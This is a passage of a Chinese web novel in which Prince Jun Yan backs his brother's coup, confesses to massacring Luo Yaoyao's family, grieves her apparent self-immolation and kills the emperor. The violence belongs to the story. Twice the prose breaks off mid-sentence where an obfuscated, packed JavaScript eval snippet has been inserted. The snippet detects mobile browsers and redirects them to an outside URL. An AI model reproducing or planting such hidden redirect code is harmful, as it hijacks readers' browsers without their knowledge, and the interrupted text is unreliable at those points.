“收起你那套收买人心的把戏,对我不灵。”君琰看上去并不很领情,室内烛光摇曳,映在他那双晦暗不明、深不可测的眼睛里,“你还不如和我谈谈利益。” “那是自然的。”君朝雨道:“等我即位,必不像大哥那样猜忌你,你想做什么就做什么,只要不影响到朝局我一概不管,给你充分的自由,如何?” “我就信你一次。”他一掌拍在桌案上,移开,桌上留下了半枚虎符。 君朝雨点点头。“你的意思我知道,必不负你。” “还有,我还要一样。” “你说?” “不可再肖想天机库。” “什么?!”这个要求君朝雨完全没有想到,他瞪大了眼睛:“为什么这样说?” “你若不答应——我们之间便没有合作的必要了。”他伸出手,“虎符还来。” “我也不是这个意思。”君朝雨缓了缓,叹了口气,“九弟,你总得和我说个理由吧?天机库一向都是各国君主必争之物,不只是现在的大哥,就连先帝、高祖也从未停止过对它的找寻,为什么我应该放弃?” 君琰:“且不说那里边是不是真的有宝物,就算有,机甲的杀伤力也是巨大的,只怕到时能毁掉的不是一国,而是四海!此等凶物,当真值得一代代人拼了命去寻?这个恶习,应该在某一代人手里断掉,莫要再贻害后世!” 君朝雨:“照你所说先祖之所为都是贻害后世了吗?我们要那宝物,不过是为了守护大楚,使别国更不敢侵犯而已!” 君琰:“这理由你自己信,我却不信。你们两人是什么样的人我都很清楚,我说过,你和他之间没有本质的区别,现在的事我不是在和你商量,而是在和你交易。如若你不答应,我也将收回我给你的东西。” “你一定要把话说到这个份上吗?”君朝雨闭了闭眼,“我和皇上之间有仇,这些年若非母家留下的一些势力庇护,我早就死在他手下了,所以我没得选,为了自保我只有这一条路可走。九弟你不一样,皇上忌惮你也信任你,你能选择我,对我来说是求之不得的……你说的……好吧,我答应。” 两人间气氛稍缓。 “可是天机库我不去找,别国的人也要找,到时若被人捷足先登威胁到大楚,祸源可在你这里。” “什么谶言传说,我从来不信,这些不过是骗人的把戏。倘若真如你说的那样,到时凭你责罚,一切后果由我一力承担,哪怕以身祭器、尸骨无存。” “不过据我所知,三天之后皇上就要去开天机库了。九弟,你……” “这不劳你操心。”他淡淡道,“话已说完,今天我们就到此为止。还有,所有你答应我的条件,都要立下字据。” 说着正欲走,君朝雨叫住了他,“九弟。” “你的书,还未还你。” 君琰接过——是三年前他从他这儿借走的一本兵书。 三年了,他竟还会还?又为什么在这时候还? 他停下脚步,当面翻开了书——里头果然夹着东西。 一片泛黄的树叶掉了出来,他弯下腰拾起。 树叶上还写着略显稚嫩的字迹:“祝四哥如日之恒,如月之升,如南山之寿,不骞不崩,如松柏之茂,无不尔或承。” 思绪恍然一下回到了小时候那天—— “四哥,今天是你的生辰,送你一片树叶!” “哇,好好看的树叶,这是你写的吗?” “嗯,夫子今天刚教了《诗经》,我觉得这几句话好,就想把它送给四哥。” “哈哈,这几句话好是好,不过不适合送给我,更适合送给父皇。” “诶?” “不过既是你的心意,我就悄悄收着了,不给别人看见就行。”说着伸手揉了揉他的头,“九弟,你真好,你亲手写的树叶,在我看来比那些价值连城的礼物都要好!” “诶,为什么呢?” “因为那些送我礼物的人中,没有几个是真心的,他们不过是想巴结我,或是巴结我母妃。”向来颇得帝宠的四皇子显得有些忧伤,“其实你身边的人也是这样,九弟,你要小心。” 曾经很热络的兄弟两长大后却渐渐疏离了……君琰盯着树叶出神。 但是很快他就回过神来,“儿时的事就不要再提了。你后来都做了什么,你心里清楚。” “我那是身不由己。”身后君朝雨叹了口气,“九弟,我不求你现在能理解我,但是我能证明给你看,不是谁在那个位子上都会变的。你自以为了解,却从不曾真正了解过我。” 君琰没有再说话。他将叶子重新夹进书里,大步离去。 这段时间忙着和四哥秘密议事,人在外面,也有好久没回王府了。 时已入夏了,大雨连日地下,没有一丝要消停的迹象。近日他只要一闭上眼,眼前就会莫名出现千万道江河奔流入海、数万座大山屹立之景,人在渺茫广阔的天地山海间,只成了小小的一点,管他是平凡百姓还是江湖魔头,都终究只是那一点,终究会像流逝的钟点般滴入大地,被泥土吸收,被海水消融…… 洛夭夭此刻正在雨中没命地奔跑着…… 连月来她第一次出了王府,大口呼吸着外面的新鲜空气,带上通关文牒,叫了一辆极快的马车,从清晨疾行出京,南下,和小时候的一幕那么像,只不过小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607411|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候那次她懵懂无知,这一回却是自己拼了命地要逃、要去看、要回家…… 阿爹,阿娘,等我……你们不孝的女儿回来了…… 无助的姑娘迎风洒泪。 这半年来她流过的泪,比从前十年加起来的都多……她从前并不是个爱哭的人。 王府内,惊鹊不解地看着张美珠:“主子,你为什么要放她走,你不怕她跑了吗?那样就没人给您做药引子了。” 张美珠端起桌上的茶喝了一口,“比起药引,我想我还是更在意另一件事。” “什么事?” “惊鹊,”她那张从来精神的脸上竟也显出了一丝疲惫,“我总觉得琰哥哥不是真的讨厌她。” “怎么会呢?”惊鹊道:“他若不是真的厌恶她,会眼睁睁看着她被主子拉进暴室不管吗?会一心向着主子吗?主子和王爷是青梅竹马的感情,王爷心尖尖上的人自然是主子,她不过就是一个工具而已。再说了,她那身份,也不配进王府做妾。” 张美珠站了起来,走到窗前看着外面的雨,“但愿如此。” 她鲜红的指甲嵌进了肉里。 她倒要看看洛夭夭跑了君琰会是什么反应。 江南,云青山,阿爹阿娘……脑海中闪过无数过往温馨的画面,她下了马车,一个人夺路而去。 一轮橙黄的月亮斜挂在树梢上,静静照着少女疲惫奔跑着的身影。 她只是想家了,她只是不相信,她要亲眼去看看…… “王爷,不好了!”陆云急匆匆地跑过来。 君琰刚刚回到府上,张美珠没有出来迎接,府里似乎静悄悄的,透着某种怪异的气氛。他驻足,听见身后随从急切的脚步声……“什么事慌慌张张的?” “是、是……”陆云踹得上气不接下气,好半天才说——“王爷,洛夭夭,洛夭夭跑了……” “……什么?!” “王爷,洛夭夭跑了!” 听到动静,府里的人这时候也全都出来了。 “跑了?!跑哪里去了?”恍然间仿佛眼前劈过一道闪电,君琰几步到了她的房门前,推门一看,果真一个人也没有,接着又命人将王府翻了个底朝天,仍旧一无所获…… 他环视众人,怒斥:“你们都是干什么吃的?!连一个人都看不住!” “主子!”“主子……”众人齐刷刷地跪了下来。 “是我把她放走的!” 张美珠这时走了出来,到了君琰跟前,“夫君,你一不在府上她就和我作对,我实在没有办法……大不了这个病我不治了,省得天天看着她心烦。” 君琰却没有说话,深不见底的眼睛里,似乎暗藏着滔天巨浪——张美珠等了许久,他也没再像往常一样过来哄着她。 “人去哪了?”许久后他开了口,声音低沉且满含质问。 “……去江南了,她说她要回家!”张美珠盯着他,仿佛要从他的眼睛里看出点什么东西来,“夫君,她已经知道了!” 君琰冷冷地背过身去,对众人:“看好王妃,不准她出府门一步!” “陆云,你去叫上四大堂主。” “主子,去哪儿?”陆云从未见他发过这样大的火,此刻的主子显得极为可怕。 君琰袖下双拳紧握,眼睛充血,切齿地挤出三个字:“云青山!” 20. 决裂 “阿爹阿娘,阿爹阿娘……”洛夭夭跌跌撞撞地向山上跑去。 云青山上静悄悄的,走到半山腰也没遇见一个熟悉的人,小动物们也都不见了,她看见地上枯叶缝中有不少已经干涸的血迹。 许久后,她终于回到家门口,屋门没上锁,轻轻一推就开了。 熟悉的家具陈设出现在眼前,半载未归,好像一切都变得陌生了……陌生,却又是那样熟悉。脚下如灌了铅一般,她走进屋子里待了一会儿,又跑出来。 四面山风呼啸,她孤零零地站在那里,头一回心中升起一种渺小感和无力感,仿佛自己正被云青山逐渐吞噬入腹。余光忽然看见了山那边高高隆起的一处,她心觉不妙,快步跑了过去。 一座小小的坟茔正立在那里,矮矮的,下面堆着好些土丘,她怔怔地走过去,看见墓碑上写了几个字:云青山众人…… 视线陡然模糊,她看不下去了! 所以,张美珠说的,都是真的…… 这个地方,这几座土丘,是云青山众人之墓……阿爹阿娘也在里面…… 云青山是因为大家的存在而温暖的,现在山上一个人也没有了,山也随之变得空荡荡的……这里曾承载了那样多的人情冷暖,也用这并不大的一方土地承埋了他们的骸骨。生命之轻,可以轻至此么?走得悄无声息,就好像从未在世间存在过。这里面还有许多她曾经行医救下的人…… 阿黄,小美,顾哥哥,小淘气,小十三,小蛮…… 当初离开的时候,这里还是一片欢歌笑语,树木葱茏,而今回来,众叔伯朋友皆去矣,只有她还活着,此时此刻她觉得自己就像个不孝女,背叛了生养她的云青山,自绝于所有的亲朋故友……就为了一个君琰,就为了一个忘恩负义之人! 她陡然站起,眼睛红得厉害。 即便短暂地离开了王府,她在这世间所念想着的一切,也在一昔之前全没有了…… 是他,是他杀了云青山上所有人! 当初,为了那一眼万年的欢喜,她下了孤注一掷绝不后悔的决心,才毅然决然地同他离开,而今事实却告诉她,她所做的一切,都不过是一场笑话而已。其实早在他娶张家小姐那日她就该死心了,她只是不愿承认,不愿承认自己的眼光差成这样,所看中的竟是这样一个人。 视线一会儿模糊一会儿清晰,她抬手狠狠地擦去眼泪,下一刻泪水又涌了出来,根本控制不住,一颗心便如冬日里的霜雪,即便春天再来,也融化不了了。 瓢泼大雨骤然而至! 雨声哗啦啦响在山间流泉中,一下子便成连片的鼓点,视线内,一个高大的身影忽然出现了,她露出了惊怒的神色。 天地之中苍茫一片,分不清是地上的黄河自天上来,还是天上的银河倾泻入地,君琰看见一个身量纤瘦的女子站在山间,没有撑伞,任凭暴雨打在身上,那眼眸里透着的刻骨的恨意与怒意却透过雨雾直击过来,似已将他身上看得凿出了洞! 天幕沉得似很快就要压下来,四周围的流水却反着白亮的光,明晃晃的耀人眼目。他抬步走了过去,在离她大概三步远的地方停下,二人对视。 他竟然追了过来,他竟还来追她!也是,想必还要抓自己回去做药引呢,怎能就这样放她跑了?她心中想着,从京城赶来这里,这么快就追上了,他还真是心急呢! 雨雾模糊,他的目光也是那样模糊,好像从中看不到一点悔意,她忽然笑了! 自己到底是哪根筋不对,偏要爱他?! 正想着,他开口了:“你私自出府已是坏了规矩,马上和本王回去!你若不肯,本王便命人将你绑起来送回去!” “云青山上的人都是你杀的吧?”她看着他,“我阿爹阿娘也是你杀的是嘛!” 他默了一秒。“是。” 洛夭夭:“我们家曾救过你的命!救命之恩在你眼里就是这么不值一提吗?我真是瞎了眼睛,怎么就喜欢上你这样一个忘恩负义、两面三刀的魔头!?” 君琰:“那你现在想怎么样?!追捕钦犯、株连包庇者是皇上的旨意,我只是奉命行事!谁让他偏藏到云青山?!” 洛夭夭:“好一个‘奉命行事’!我不知道你们要抓的是什么钦犯,可是云青山众人何辜?!难道为了奉命,就可以不顾天理人情,就可以草菅人命,就可以恩将仇报?!” “这些东西从不在本王考虑范围之内。”君琰冷眼以对她的愤怒,“本王只是一个办差王爷,圣旨已下,别无选择。” “你就不能抗旨吗?!”耳边是风声雨声,眼前是泪水,她失了理智:“你明明知道这些人不该死,他们没有罪!为什么一定要助纣为虐?!” “助纣为虐”这个词一下子让他想到了许多过往之事……那些清流理学之臣对他最多的一个评价,便是“逢君之恶”。 “谁说他们无罪?窝藏钦犯难道不是罪?!洛夭夭,注意你的言辞!这等话你在本王面前说说也就罢了,若在别人面前,你的九族也不够株连!” “我还有九族吗?我的阿爹阿娘、亲朋故友,竟都是死在你一句话下!你利用我、欺骗我、轻视我、否定我,另娶别人,我是不如你出身好,只能任人宰割,这些我都忍了,可你为什么要伤害我的亲人?!” 他看着那双红通通的眼睛,一瞬间觉得眼前的姑娘变得陌生了,从前她从未这样失态过,如今怕是已经心灰意冷到了极致…… 许是她这般绝望的样子刺激到了他,他半晌没再做声,头一回缓了态度,犹豫着对她伸出了手。 “跟本王回去。” 洛夭夭扭过头。 “你现在无处可去,除了回王府!” “就算浪迹天涯,我也不会跟你回去的。是,我是斗不过你,要不你就在这里杀了我吧。杀我,取血,回去给你的王妃做药。” “……洛夭夭!”他的声音又凶了起来,胳膊举酸了,他将手放了回去,“不要任性。” “我说了,你可以就在这里杀了我,我反抗不了。” 他朝她走近过去,“我不是这个意思……” “别过来!”一柄雪亮的寒刃忽出现在目前,她用他送她的匕首对准了他,刀尖正抵在他的胸口,他不能再靠近分毫。往昔那双漂亮灵动的眼眸中,此刻尽是决绝彻骨的恨意,他怔了一下。 许是早已心如死灰,她的手竟一下也没有抖,直视着他那双幽深的眸子,说道:“此前我从未想过,有朝一日自己也会拿刀指着你,那时候我相信缘分天定,我倾注了全部的心意来爱你、相信你,但你辜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639011|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负了我。你若只是负我,我还可以说,我们就此告别,一拍两散;你若只是要我的血,我还可以想,人为刀殂我为鱼肉,只要你最终肯放过我,血我给你就是,可是你竟还摔了我的玉坠、杀了我的亲人朋友…… 我恨你,但我更恨我自己!我恨自己当初为什么要和你走,为什么这般弱小不能向你报仇!下令的是皇上,执行这一切的人却是你,你身为皇室成员,空有身份地位却不敢抗上!什么九公子,什么九爷,什么景王,你就是一个空有高贵出身和强大外表的懦夫!!” “……那你报仇吧!”他朝匕首走近了一寸,刀尖划入了他的肌肤里,渗出了血,红着眼睛吼道:“来啊!” 她红着眼睛看着他,手腕哆嗦了一下,转身收了匕首。 “我现在杀了你,我不就也活不了了吗?我不会那么傻的。九公子,你我曾经的相识全是你的算计、我的一厢情愿,现在这一切都该结束了。你今日不杀了我,来日我必用其他的方式来向你报仇。我虽力弱,却会为此不惜一切!” 雨声小了,她背对他站着,闭上眼睛,等着被他一剑穿胸。 君琰的目光落在这个清瘦、倔强又冰凉的背影上,雨水湿透了他的衣衫,他的手扣在剑柄上,许久许久地看着她…… 等了太久他没有动手,她也失去了耐心,转过面来,“你现在不杀我,以后会后悔的。” “那我等着你,”他方才激动的目光此时又变得清冷了,冷得让人看不出太多的情绪,“等你学好了本事,来杀我报仇!” “报仇未必只有杀人一种方式,生不如死才是最好的。就像前几个月我在王府,你对我做的那些事一样。” 她笑了,这笑容里蕴含了太多东西,嘲讽、苦涩、仇恨、绝望…… 他也冷冷地笑了笑……“生不如死的滋味,本王倒还从未体会过,也从不会有这般情绪。世间万事万物都不过蝼蚁,没有什么值得为之牵动情绪的。” 她点了点头。“我懂了,原来你是这样一个人。只有张家小姐是例外吧?” 他没有理会这个问题,“本王还是希望你能好好考虑一下自己的处境。你若随本王回去,被取血以后,本王会派人护送你离开,为你寻一处好地方养身子,并给你后半生衣食无忧的银钱;反之你若不肯,现在外面到处都是战乱、疫病,你一个人无处可去,说不好还会死在街头……” 洛夭夭:“那就死在街头好了。我一个人孤零零地走了,也比待在你府上受人冷眼要好。还有既然疫病横生,我正好继续行医救人,能救几个算几个,用来抵消我这不孝的罪孽。” 他闻言又要朝她靠近,“你当真要这般……” “站住!” 山风吹起她纯白的袖摆飘到了他面前,他下意识地抬起手一抓,她却掏出匕首,“哗啦”一声响利落地割破了袖子中间,留在他手中的便只剩下一块布料…… 他一怔,看见她站在那里,薄薄的背脊挺得笔直,纤弱的身躯竟自有一种坚韧…… 她曾经在他面前哭过很多次,因为她的眼泪只有在信任和喜爱的人面前才会流。这一次,她没有哭。过往的风花雪月嘘寒问暖皆是假,唯有眼前这人的狼心狗肺是真。 “君琰,从今往后,你我之间,不共戴天!” 21. 火葬 “不好了,走水了!”“走水了!” 侍卫们的呼叫声在静夜刺破他的耳膜。 君琰一下子惊醒了! “哪里走水?!”“西、西厢房……” 他怔了一下,随后直接下榻赤着脚飞速跑了出去。 西厢房,那是她住的地方…… 那次决裂以后,他强行将已虚弱至极的她重新带回王府,并关在了西厢房——他绝不允许她离开自己的视线,无论因为什么都不可以! 为了防止她再次逃跑,他还命人在房门上加了三重的大锁。 西厢房处火光冲天!天空也被一点一点照亮了,他猛然间怔在那里,心中是前所未有的慌乱,耳边响起了她那日的声调和语气,她说和他不共戴天,她说要和他不共戴天! 洛夭夭,你既说要找我报仇,怎么可以就这样去死!?死了还怎么报仇?莫不是,难道你是想用死来报复我吗?! 拿着水桶的仆僮们进进出出,忙成一团。 “救火,快救火!”他无望地吼了两声,随后命人开了锁,冲了进去。 “夭夭,夭夭!”他在火光中喊着她的名字,火势渐小,眼前却只有一片被烧得乌黑的惨景,他看见地上横七竖八地躺着几个被烧焦的人,一具一具地翻找过去。 “王爷,没有找到洛夭夭!”陆云来报。 “没有?”他的心里莫名松了口气……没有,没有就好,至少说明她还活着。只要她还活着,天涯海角他都能再找到她! “琰哥哥!”张美珠半夜被惊醒,穿着睡衣就跑了出来,吃惊地看见他没有穿鞋,怔然站在洛夭夭住的庭院里发呆。“琰哥哥,怎么了?!” 君琰没有搭理她,只是吩咐陆云:“马上去追人!” “是!” 就在这时忽然一个刺耳的声音传来:“王爷,找到了洛姑娘的尸首!” 恍若一记惊雷劈在头顶,他眼中顿时希望破灭!“你说什么!?” “王爷,我们仔细辨认过了,确实是洛姑娘的尸首!您之前不是还送过她一把匕首吗?那把匕首就被她握在手心里……” “砰——”地一声,他身上好像有根筋断了,是崩得太久,现在终于断了! “带本王去看。” “琰哥哥!”张美珠一脸茫然又委屈地追了上去。 “就、就是这一具!”小侍卫有些哆嗦,说完话就想溜了。 他蹲下身去,抚摸着那具焦尸…… 抬手抚上那张已经被烧得面目全非的脸,顺着划过眉眼、鼻梁、下巴所在的位置……从前他也曾温柔地捧着这张脸,那时她的肌肤吹弹可破,她会用那双明媚灵动的眼睛看着他,诉说着无声的情意…… 接着手指又滑落到脖前……再向下,手掌猛然被匕首的利刃划破,流了满处的血,可是他感觉不到痛。 满是血的掌心里躺着他送给她防身的匕首,花纹、图样,他一一看去,确是自己送的那把匕首无疑。 这不可能…… 不可能,不可能,她不会死的,不会! 他蹲在那具焦尸旁边,大口喘着气,下人们从未见过他如此狼狈的样子,纷纷都不敢上前,张美珠怔然看了他好一会儿,终于过来想要扶住他的胳膊:“琰哥哥……” “滚!”他一抬手撩开了她。 张美珠猝不及防狼狈地摔在一边。 “……琰哥哥!?”她难以置信地看着他。曾经多少个夜晚里担忧和怀疑的东西,似乎在这一刻都成真了…… 因为洛夭夭走了,所以他失常了,那自己又算什么,那他为何又要娶自己?! 君琰的心跳仿佛停止了,他扭头到一边,干呕了几口血,随后慢慢地站起来……眼眸里,一会儿是慌乱,一会儿是疯狂,一会儿是绝望,一会儿又是怀疑…… “滚,全部滚。”他这时不知是在和谁说话,自顾自地走到了门边,“滚出去!” 下人们大气也不敢出,纷纷噤若寒蝉。 “琰哥哥!”张美珠从地上爬起来,又不怕死地大声喊了他一句,眼前,他的崩溃之状让她心里升起了无名的怒火,她大声质问:“你还是很在意她的对吗!?” 下人们纷纷一惊,心里已经开始替她默哀了…… “你之前是怎么和我说的,你说她只是府里一个下人,你说你之前是在利用她!现在,你为什么会是这个样子?你的悲痛绝不只是因为我没了药引!琰哥哥,你怎么能骗我!?” 君琰忽然笑了。原本他现在不想理会她,可她非要撞到枪口上来…… “天下如棋,你不过是其中一只蝼蚁。张小姐,反正现在你的日子也不多了,以前你都对她做过什么事,现在全对自己做上一遍。” 张美珠一时脸色煞白,“……你!?你说什么?” “来人!!” 陆云道:“王爷,这里交给属下吧,您还是再去看看现场要紧。” 君琰点了点头,转身到里屋去了。 为什么会走水呢…… 这不是个意外。 很快他就在屋子里发现了被烧干的柴草,还有几个没用的打火石,地板是湿的,蹲下用烛火照亮了,能看到一双清晰的脚印——是夭夭的,他记得她双足的大小。 她就是在这个地方,亲手点了火吗? 洛夭夭,看来你也没什么本事啊,说要找我报仇,说要和我不共戴天,最终却把自己烧死在了这个院子里,你……你真的甘心?! 他继续用手掰着屋子里被烧得灼热的一砖一瓦,仿佛还想在其中找到一些她留下的印迹……她在走之前,可还有留下什么东西吗? 可是没有。他翻了几个时辰,手指被烫出了水泡,脸上衣上也全是灰黑的痕迹,最后他呆呆地坐在了地上,直到天空泛起了鱼肚白。 陆云将张美珠泼完冷水、洗完衣服后关进了暴室行水滴刑,再赶紧来时竟然看到从来有洁癖的主子竟囫囵坐在满是灰尘的地上,不由惊住…… 君琰愣愣地看着这间屋子。时间平静的流逝此刻于他而言,倒更像是酷刑。 “陆云,你说……这就是她报复本王的方式吗?” “不,不是这样的。”陆云摇了摇头。“洛姑娘以为自己在王爷心里无足轻重,自然也不会认为她的死能报复到王爷,实在只是……心如死灰罢了。” “可是她说了要找我报仇!”他忽然激动起来,双目充血,“我负了她,我杀了云青山所有人,我杀了她的爹娘!她为什么不活下来找我报仇!?我是言而无信,可她,更是言而无信!” “洛姑娘外柔内刚,性情坚韧,若不是王爷偏要强求、执意不放手,她不会往这条绝路上走。属下说句冒犯的话,你们决裂那天您就不该强行把她带回来。如果您想让她凭借复仇作为活下去的信念,就应该适当地让她看到希望,而不是让她觉得力量悬殊、复仇无望……往事已矣,王爷还请节哀吧。” “节哀?”他看着黑夜笑了,“哈,节哀……” “属下跟了您这么多年,很少见您悲伤过。上一回还是为了太妃,这一回,要为了洛姑娘吗?” “公子!”“公子!”忽有熟悉的声音传来,是四大堂主匆匆赶到了——他们听说他府上出事了。 君琰微微抬头,略看了看眼前这些熟悉的属下们。 “言而无信,言而无信……”他口中喃喃地念叨着,那双从来深不见底的眼睛里,流露出了明显的情绪,唇角还留着血渍,稀里糊涂地自语:“她为什么……为什么要这样?” 此刻他的身子疲累至极,仿佛整个人一下子被掏空了,旧日反噬也跟着一齐上来,他咳着血,手一直在抖,平日里是那样叱咤风云,此刻竟连拿起一把剑的力气都没有了,试了几次,都拿不起来…… “姚寂,杀了我!” 几名属下一时惊住。“公子,你说什么?!” “杀了我,就像我杀了她一样。” “公子,您不能这样!就为了一个女人?!” “公子,您怎么变成现在这样了?!您什么时候为别人伤心过,又有什么时候觉得内疚过,除了太妃您可还为旁人掉过眼泪?这些年我们杀的人根本数不清,您就这么在意洛姑娘吗?” 君琰红着眼睛:“你不懂……你们不懂……” “还请公子三思!您要是一走了之,我们四堂的人怎么办?那么多跟着我们卖命的弟兄怎么办?您谋划的大事怎么办?还有大楚朝廷没了您会变成什么样子?这些后果,您都不能不想啊!” 七天之后。 皇上君墨林在紫宸殿写下了禅位诏书。 恼人的月亮,挂得不高不低,正好露在雕花窗外,照着室内的三位兄弟,照亮了—— 君朝雨成竹在胸、肃然且坚定的神情。 君琰漠然的神情。 君墨林绝望且愤恨的神情。 君朝雨的所为他并不意外,可君琰是他最信任的兄弟,他将密云的两万兵都交到了他的手里,为什么!? 为什么他要帮着四弟一起背叛? 为什么,他好不容易卸去了对他的猜忌,最后换来的却是这样一个结果? 四弟君朝雨从小最得帝宠,也曾经是最有可能的太子人选,父皇最后却传位于他,曾一时间惹得流言四起,为此他们一向关系不睦,即位后他乘他不备跑去了江南,寻其母家势力作为庇护,伺机将他从皇位上踹下来…… 可是君琰竟然也这样! “九弟,你为什么要背叛朕?!” 君琰看着窗外那轮月,相比于大哥满眼的愤怒,他显得异常平静。“什么是背叛,什么又是信任?大哥你扪心自问,你可曾彻底地信任过我吗?” 君墨林没想到他竟还反过来质问,顿了顿,笑了。“朕懂了,懂了……你们都是狼子野心,是一丘之貉!” 君朝雨一双眼睛红着,开了口:“若非你猜忌心重,我们又怎会如此?我起兵,是因为不得不这么做,我是为了自保!” “哈哈哈哈哈!”君墨林大笑,“好一个自保!” “谁做皇帝我都无所谓。”君琰道,“你们两个,没有什么本质的不同,谁能给我我需要的东西,我便帮谁。兄弟情分这东西,我早就看开了。”说着回过头来,闭了闭眼,“大哥,你我之间也是时候了断了。” 九弟的眼睛里没有愧疚,这几天他整个人都消瘦了一圈,似是遭受了什么灭顶的打击,此刻他看向自己的眼神格外平静,君墨林怔了一瞬,稳住身形没有后退。 君琰一步步向他走来。 “这些年,我像个机器一般做你手里杀人的刀,成就了我‘江湖九爷’的恶名,我无所谓。可我身边最重要的人,都是因你而死,我母亲当年与四哥之母私交甚好,你因此猜忌我们母子,她不得不逼我与她断了母子情分来换取你那少得可怜的信任,她亲自撞在了我的刀上!还有她……如果不是你非要开天机库,我就不会认识她,更不会……” 君墨林到这里有些听不明白了,“你说的谁?” “她!”君琰忽然发出一声怒吼:“她死了!死了你知道吗?!” “朕听不明白你的意思,天机库的事情难道不是你骗了朕!?九弟,这笔账朕还没和你算,你就与君朝雨联手,背叛了朕!” “你不需要明白了。你我的恩怨,今日到此为止。”耳边又传来了熟悉的语气——九爷在杀人前才会有的那种语气,很轻,很温和,但…… “啪!” 君朝雨亦没看清他是怎么出手的,君墨林已倒在了血泊之中。 他的眼睛仍是圆睁着的,死不瞑目,右手仿佛还在微微地抽搐着…… “九弟,你!”君朝雨原本的计划是将他软禁起来,却没想到君琰直接将他杀了! “我知道这么做会给四哥你带来一点儿麻烦。”他掏出白色绢帕擦拭着手上的血迹,“可你现在是皇上了。成王败寇,他是怎么死的自是由你说了算。” “你方才的话我好像也没听得太明白。你说的第二个人……可是王妃?” 君琰眸中即刻划过一丝狠戾,“四哥,别忘了你答应过我的事情。” ——他指的是不可再蓄谋开启天机库。 君朝雨不做声了。许久,他道:“朕知道了。” 先皇殡天,四王爷即位为新皇。 京城里对这件事流言纷纷……但很快,那些说着流言的人就身首异处了。 王府里安安静静的,所有人都不敢说话。 自那场大火之后,整个府中的气氛都变了。洛姑娘走了,紧接着,张王妃也走了。 大家都知道洛姑娘是纵火自焚,但却没有人知道张王妃具体是怎么走的,只知道她消失了,身边的侍女也跟着消失了。 景王妃忽然没得悄无声息,活不见人死不见尸,皇上却对此没有任何表示,就连她的父亲张侍郎,竟也不敢来多问一句。 这其中到底藏着什么样隐情? 但是没人敢打听—— 怕是什么知道了会掉脑袋的惊天大秘。 西厢房的旁边重新种上了杏树,还立了一座小小的坟——是洛姑娘的。但是张王妃没有坟,也从未见王爷再提起过她,就好像府里从来没有过这个人一样,来过的女子只是洛姑娘。 君朝雨即位后当即与君琰兑现了当初他提出的所有条件,君琰亦交出了手中兵权,准备择日便远走江湖。 自她走后他每个晚上都做梦,梦见她一袭白衣,站在星光下嫣然巧笑的样子。他伸手想要去触碰她,她就消失了,没一会儿她又在别的方位出现了,依然对着他笑……午夜梦回,她就像在和他玩捉迷藏的游戏,永远在那儿等着他,却永远不让他抓住…… 他在梦里喊她的名字,常常半夜醒来,独自一人披衣起身,走过庭院,走过小桥,走过她曾待过的每一处地方,企图发现她留下的气息……最后,往往都会进了西厢房,在那里一坐就是一宿。 从来五指不沾阳春水的景王,开始每日亲自打扫她住过的屋子,每样东西都要悉心擦一遍,一应陈设都不许别人动,更不许有除自己外的人踏进屋门。 想起她为他挡刀,想起她为他求药,想起她将最珍贵的玉坠送给他,想起她当初那不顾一切决意和他远走高飞的眼神,那时候的她炙热如火,眼睛里全是天真和爱意……后来的她饱受折磨,心冷如灰,甚至说出了要与他不共戴天的话,可他还是没有放过她,强行要将她留在身边。 当初,他总认为她没见过什么世面,许多事和她说了她也不会明白,甚至会来添麻烦。他总是粗暴地将自己的想法加诸在她身上,只考虑最终的那个结果,而忽略了她身心的承受能力……最终结果又是怎样呢? 被追杀的时候她怕了吗?被禁足的时候她怕了吗?她是那样弱小,却可以为了他拼尽全力,一个弱小的人付出一切的勇气,却被他贬得一文不值…… 若早知结果是如此,他宁可当初…… 天快要亮了,一点微光照着矮矮的坟茔,他拿了几朵杏花装点在上面,伸手抚上那座墓碑,用脸轻轻地贴着碑上的文字…… 就好像当初亲吻她为他挡剑而留下的伤疤。 她走后,他常常想起那双明澈如水的眼睛来。 在险象环生、吃人不吐骨头的京城里,在仇家遍地、死生无常的江湖风波里,他曾经遇见了那样一双灵动澄澈的眼睛,仿佛沙漠中的人遇到了绿洲。她身上有一种不染尘嚣的美好,却被他亲手拉进了红尘的泥沼里。 他杀人,她救人,他们本是极昼与极夜的两端,偏生要在一起,偏生他要骗她,偏生他以为她对他的爱意会永远都在…… 可她还是走了。 她还是不要他了。 颓丧了数月之后,他终于勉强打起精神来……姚寂他们说得对,他虽然想就此随她而去,可他仍是大楚的王爷,是大楚的臣子,即便远去江湖,也有许多秘密任务要完成。 他的眼睛从来深不见底、叫人看不分明,只有在怀念她时,才会流露出不一样的情绪。 之后的一年里,他照例忙该忙的事,一件也没有落下,只是身子不如从前好了,又常常嗜酒、不注意休息,忙到深夜,又想着她通宵不睡。府里的人看在眼里记在心里,却没有谁敢去劝说什么。 姚寂推门走了进来。 “公子的酒量虽好,却也不能照这么个喝法,‘归离’是烈酒,普通人一次能喝两坛就不错了,公子一连喝了七坛……若再喝下去,怕是会性命堪忧。” “你,”他指着他,“这话也只有你敢说。” “眼下是我在这里,若是玉冰他们在也必定会劝说的。公子,您不能如此颓丧!” “一年了,姚寂。”他伸出一根手指,轻轻摇了摇头,“本王真的做不到,做不到忘了她。” 姚寂叹了口气,“那属下帮公子多想些排解的办法吧。洛姑娘生前喜欢自由,说若有机会想遍踏河山,不如您代她去?” 